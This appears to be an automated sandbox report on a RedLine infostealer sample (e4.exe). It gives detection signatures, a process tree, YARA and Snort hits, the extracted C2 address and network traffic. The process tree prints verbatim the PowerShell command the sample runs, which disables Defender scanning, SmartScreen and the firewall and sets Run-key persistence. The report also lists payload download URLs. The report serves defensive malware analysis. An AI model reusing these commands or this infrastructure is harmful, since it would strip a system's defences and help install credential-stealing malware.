Edit tour

Windows Analysis Report
e4.exe

Overview

General Information

Sample Name:	e4.exe
Analysis ID:	678697
MD5:	5c371f2d51427f39d793c6df8487346c
SHA1:	8bbc4272d6e36abf84a0d4fac47d49b690bfacdf
SHA256:	e42c63f0af341c2271346774a69bdbceed9cc21f041680bc00e8e0d137340b48
Tags:	exe
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Detected unpacking (changes PE section rights)

Antivirus detection for dropped file

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for dropped file

Uses netsh to modify the Windows network and firewall settings

Tries to detect sandboxes and other dynamic analysis tools (window names)

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Machine Learning detection for sample

May check the online IP address of the machine

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Adds a directory exclusion to Windows Defender

Tries to harvest and steal browser information (history, passwords, etc)

PE file contains section with special chars

Hides threads from debuggers

Tries to steal Crypto Currency Wallets

Yara detected Generic Downloader

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

Modifies the windows firewall

Drops PE files to the application program directory (C:\ProgramData)

One or more processes crash

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Stores files to the Windows start menu directory

Too many similar processes found

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Modifies existing windows services

PE file contains strange resources

Drops PE files

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Creates a start menu entry (Start Menu\Programs\Startup)

PE file contains more sections than normal

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Yara detected Credential Stealer

IP address seen in connection with other malware

Entry point lies outside standard sections

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Detected TCP or UDP traffic on non-standard ports

Contains capabilities to detect virtual machines

Uses taskkill to terminate processes

PE / OLE file has an invalid certificate

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Classification

Process Tree

System is w10x64

e4.exe (PID: 632 cmdline: "C:\Users\user\Desktop\e4.exe" MD5: 5C371F2D51427F39D793C6DF8487346C)

TextOutputHost.exe (PID: 4904 cmdline: "C:\Users\user\AppData\Local\Temp\TextOutputHost.exe" MD5: 55A6D22BE09D762103AE315F97B58561)

conhost.exe (PID: 5192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 5176 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit) MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 5656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

UpSys.exe (PID: 6496 cmdline: "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe MD5: EFE5769E37BA37CF4607CB9918639932)

UpSys.exe (PID: 7116 cmdline: "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe MD5: EFE5769E37BA37CF4607CB9918639932)

netsh.exe (PID: 7060 cmdline: "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off MD5: 98CC37BBF363A38834253E22C80A8F32)

cmd.exe (PID: 5188 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 2260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 2596 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

conhost.exe (PID: 5016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5748 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 3060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 3868 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

cmd.exe (PID: 2596 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

cmd.exe (PID: 5232 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 2432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 3204 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 2956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 6180 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

cmd.exe (PID: 5764 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WerFault.exe (PID: 5968 cmdline: C:\Windows\system32\WerFault.exe -u -p 4904 -s 2364 MD5: 2AFFE478D86272288BBEF5A00BBEF6A0)

System.exe (PID: 5980 cmdline: "C:\ProgramData\MicrosoftNetwork\System.exe" MD5: 55A6D22BE09D762103AE315F97B58561)

conhost.exe (PID: 5716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 6356 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit) MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 6384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6576 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 6640 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

cmd.exe (PID: 6728 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 6776 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

cmd.exe (PID: 6744 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6828 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6836 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

conhost.exe (PID: 6892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 6980 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

cmd.exe (PID: 6880 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 6932 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

cmd.exe (PID: 6896 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 7024 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 7068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 7100 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

cmd.exe (PID: 7128 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 7144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 6188 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

cmd.exe (PID: 5824 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 2960 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 4712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6572 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 6776 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

cmd.exe (PID: 4448 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6836 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

cmd.exe (PID: 6968 cmdline: "C:\Windows\System32\cmd.exe" /K taskkill /IM MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 4796 cmdline: taskkill /IM MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

cmd.exe (PID: 6916 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 1112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6604 cmdline: "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 7124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": "46.21.250.111:65367", "Bot Id": "1488"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
e4.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
e4.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
e4.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x19c54:$pat14: , CommandLine: 0x12cc3:$v2_1: ListOfProcesses 0x12a83:$v4_3: base64str 0x136c9:$v4_4: stringKey 0x11233:$v4_5: BytesToStringConverted 0x1032e:$v4_6: FromBase64 0x117a6:$v4_8: procName 0x11abc:$v5_1: DownloadAndExecuteUpdate 0x1295a:$v5_2: ITaskProcessor 0x11aaa:$v5_3: CommandLineUpdate 0x11a9b:$v5_4: DownloadUpdate 0x11ea1:$v5_5: FileScanning 0x11454:$v5_7: RecordHeaderField 0x110bc:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
e4.exe	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x136fb:$a1: get_encrypted_key 0x12df2:$a2: get_PassedPaths 0x1181e:$a3: ChromeGetLocalName 0x12ffe:$a4: GetBrowsers 0x199e4:$a5: Software\Valve\SteamLogin Data 0x19284:$a6: %appdata%\ 0x12b17:$a7: ScanPasswords

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\iuiemjt	MAL_Sednit_DelphiDownloader_Apr18_2	Detects malware from Sednit Delphi Downloader report	Florian Roth	0x72b0:$s7: 536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E 0x674:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x70a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x493a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x4a6c:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x4afe:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x5c7a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x67ce:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x7236:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x72ae:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x732e:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x9c82:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.416391043.0000000000A12000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000000.416391043.0000000000A12000.00000020.00000001.01000000.00000003.sdmp	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x132fb:$a1: get_encrypted_key 0x129f2:$a2: get_PassedPaths 0x1141e:$a3: ChromeGetLocalName 0x12bfe:$a4: GetBrowsers 0x195e4:$a5: Software\Valve\SteamLogin Data 0x18e84:$a6: %appdata%\ 0x12717:$a7: ScanPasswords
00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: e4.exe PID: 632	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: e4.exe PID: 632	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: UpSys.exe PID: 6496	MAL_Sednit_DelphiDownloader_Apr18_2	Detects malware from Sednit Delphi Downloader report	Florian Roth	0x4138:$s7: 536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E 0x17c2:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x18f4:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x1986:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x2b02:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x3656:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x40be:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x4136:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x41b6:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x6b0a:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x12c53:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x12f96:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x1300b:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x1309c:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x4dc3b:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x4df7e:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x4dff3:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E 0x4e084:$s9: 5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.e4.exe.a10000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.e4.exe.a10000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x19c54:$pat14: , CommandLine: 0x12cc3:$v2_1: ListOfProcesses 0x12a83:$v4_3: base64str 0x136c9:$v4_4: stringKey 0x11233:$v4_5: BytesToStringConverted 0x1032e:$v4_6: FromBase64 0x117a6:$v4_8: procName 0x11abc:$v5_1: DownloadAndExecuteUpdate 0x1295a:$v5_2: ITaskProcessor 0x11aaa:$v5_3: CommandLineUpdate 0x11a9b:$v5_4: DownloadUpdate 0x11ea1:$v5_5: FileScanning 0x11454:$v5_7: RecordHeaderField 0x110bc:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
0.0.e4.exe.a10000.0.unpack	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x136fb:$a1: get_encrypted_key 0x12df2:$a2: get_PassedPaths 0x1181e:$a3: ChromeGetLocalName 0x12ffe:$a4: GetBrowsers 0x199e4:$a5: Software\Valve\SteamLogin Data 0x19284:$a6: %appdata%\ 0x12b17:$a7: ScanPasswords

Snort Signatures

ETPRO TROJAN W32.Zenar HTTP Request Header - Source IP: 192.168.2.5 - Destination IP: 148.251.234.83

Timestamp:	192.168.2.5148.251.234.8349860802827715 08/04/22-13:37:41.881801
SID:	2827715
Source Port:	49860
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.5 - Destination IP: 46.21.250.111

Timestamp:	192.168.2.546.21.250.11149768653672850286 08/04/22-13:37:06.561926
SID:	2850286
Source Port:	49768
Destination Port:	65367
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init - Source IP: 192.168.2.5 - Destination IP: 46.21.250.111

Timestamp:	192.168.2.546.21.250.11149768653672850027 08/04/22-13:36:35.390311
SID:	2850027
Source Port:	49768
Destination Port:	65367
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 46.21.250.111 - Destination IP: 192.168.2.5

Timestamp:	46.21.250.111192.168.2.565367497682850353 08/04/22-13:36:37.244080
SID:	2850353
Source Port:	65367
Destination Port:	49768
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN W32.Zenar HTTP Request Header - Source IP: 192.168.2.5 - Destination IP: 148.251.234.83

Timestamp:	192.168.2.5148.251.234.8349850802827715 08/04/22-13:37:17.370183
SID:	2827715
Source Port:	49850
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\ProgramData\MicrosoftNetwork\System.exe	Avira: detection malicious, Label: HEUR/AGEN.1211746
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Avira: detection malicious, Label: HEUR/AGEN.1211746

Multi AV Scanner detection for submitted file

Source: e4.exe

Virustotal: Detection: 59%

Perma Link

Antivirus / Scanner detection for submitted sample

Source: e4.exe

Avira: detected

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\MicrosoftNetwork\System.exe	Virustotal: Detection: 57%	Perma Link
Source: C:\ProgramData\MicrosoftNetwork\System.exe	ReversingLabs: Detection: 61%
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Virustotal: Detection: 57%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	ReversingLabs: Detection: 61%

Machine Learning detection for sample

Source: e4.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\ProgramData\MicrosoftNetwork\System.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Joe Sandbox ML: detected

Source: e4.exe.632.0.memstrmin

Malware Configuration Extractor: RedLine {"C2 url": "46.21.250.111:65367", "Bot Id": "1488"}

Source: e4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.5:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.192.141.1:443 -> 192.168.2.5:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.217.195.249:443 -> 192.168.2.5:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.251.234.83:443 -> 192.168.2.5:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.192.141.1:443 -> 192.168.2.5:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.251.234.83:443 -> 192.168.2.5:49861 version: TLS 1.2

Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: TextOutputHost.exe, 0000000C.00000000.612016283.00007FF633F49000.00000040.00000001.01000000.00000009.sdmp, System.exe, 00000014.00000002.713920683.00007FF6BA599000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: TextOutputHost.exe, 0000000C.00000000.612016283.00007FF633F49000.00000040.00000001.01000000.00000009.sdmp, System.exe, System.exe, 00000014.00000002.713920683.00007FF6BA599000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: Z:\Oreans Projects\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: e4.exe, 00000000.00000002.526701138.0000000000A3C000.00000040.00000001.01000000.00000003.sdmp

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2850027 ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init 192.168.2.5:49768 -> 46.21.250.111:65367
Source: Traffic	Snort IDS: 2850286 ETPRO TROJAN Redline Stealer TCP CnC Activity 192.168.2.5:49768 -> 46.21.250.111:65367
Source: Traffic	Snort IDS: 2850353 ETPRO MALWARE Redline Stealer TCP CnC - Id1Response 46.21.250.111:65367 -> 192.168.2.5:49768
Source: Traffic	Snort IDS: 2827715 ETPRO TROJAN W32.Zenar HTTP Request Header 192.168.2.5:49850 -> 148.251.234.83:80
Source: Traffic	Snort IDS: 2827715 ETPRO TROJAN W32.Zenar HTTP Request Header 192.168.2.5:49860 -> 148.251.234.83:80

May check the online IP address of the machine

Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	DNS query: name: iplogger.org
Source: C:\ProgramData\MicrosoftNetwork\System.exe	DNS query: name: iplogger.org

Yara detected Generic Downloader

Source: Yara match

File source: e4.exe, type: SAMPLE

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic

HTTP traffic detected: GET /attachments/1003972615569936414/1003972771124105277/TextOutputHost.exe HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive

Source: global traffic	HTTP traffic detected: GET /tilttilttilt/test1/downloads/UpSys.exe HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bitbucket.orgConnection: Keep-Alive
